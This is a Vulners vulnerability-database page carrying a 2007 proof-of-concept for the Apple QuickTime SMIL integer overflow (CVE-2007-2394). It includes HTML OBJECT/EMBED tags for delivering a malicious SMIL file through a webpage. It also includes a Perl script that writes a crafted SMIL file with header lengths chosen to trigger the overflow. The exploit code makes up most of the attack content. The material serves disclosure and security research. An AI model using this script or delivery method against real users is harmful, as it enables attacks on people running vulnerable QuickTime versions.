Vulners
Lucene search
Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
 | QuickTime < 7.2 Multiple Vulnerabilities | 12 Jul 200700:00 | – | nessus |
| QuickTime < 7.2 Multiple Vulnerabilities (Mac OS X) | 12 Jul 200700:00 | – | nessus |
 | Apple QuickTime SMIL File Handling Integer Overflow (CVE-2007-2394) | 16 Dec 200900:00 | – | checkpoint_advisories |
 | CVE-2007-2394 | 15 Jul 200721:00 | – | cve |
 | CVE-2007-2394 | 15 Jul 200721:00 | – | cvelist |
 | Apple QuickTime 7.1.5 - Information Disclosure / Multiple Code Execution Vulnerabilities | 11 Jul 200700:00 | – | exploitdb |
| Apple QuickTime < 7.2 - SMIL Remote Integer Overflow | 3 Sep 200700:00 | – | exploitdb |
 | Apple QuickTime 7.2 - SMIL Remote Integer Overflow | 3 Sep 200700:00 | – | exploitpack |
| Apple QuickTime 7.1.5 - Information Disclosure Multiple Code Execution Vulnerabilities | 11 Jul 200700:00 | – | exploitpack |
 | CVE-2007-2394 | 15 Jul 200721:30 | – | nvd |
10
======================================================
Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC
======================================================
----------------------------------------------------------------------
ATTACK VECTORS
----------------------------------------------------------------------
This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"
WIDTH="10" HEIGHT="10" >
<!-- malicious SMIL file -->
<PARAM NAME="src" VALUE="poc.smil" />
<EMBED
<!-- available .qtif or .mov file to start up QT for FF -->
SRC="available-sample.qtif"
<!-- malicious SMIL file -->
QTSRC="poc.smil"
WIDTH="10" HEIGHT="10"
PLUGINSPAGE=" www.apple.com/quicktime/download"
TYPE="video/quicktime"
/>
</OBJECT>
----------------------------------------------------------------------
PROOF OF CONCEPT
----------------------------------------------------------------------
#!/usr/bin/perl -w
####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes <d.vaartjes at gmail.com>
####
$file = " poc.smil";
$padd = "x";
$cop_len = 36;
####
# By choosing the following lengths the
# integer overflow will be triggered.
####
$tit_len = 223;
$auth_len = 65280;
open(FH,">$file") or die "Can't open file:$!";
print FH
"<smil>\n".
"<head>\n".
" <meta name=\"title\" content=\"".$padd x $tit_len."\"/>\n".
" <meta name=\"author\" content=\"".$padd x $auth_len."\"/>\n".
" <meta name=\"copyright\" content=\"".$padd x $cop_len."\"/>\n".
"</head>\n".
"</smil>";
close(FH);
# 0day.today [2018-04-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Sep 2007 00:00Current
7.1High risk
Vulners AI Score7.1
EPSS0.43326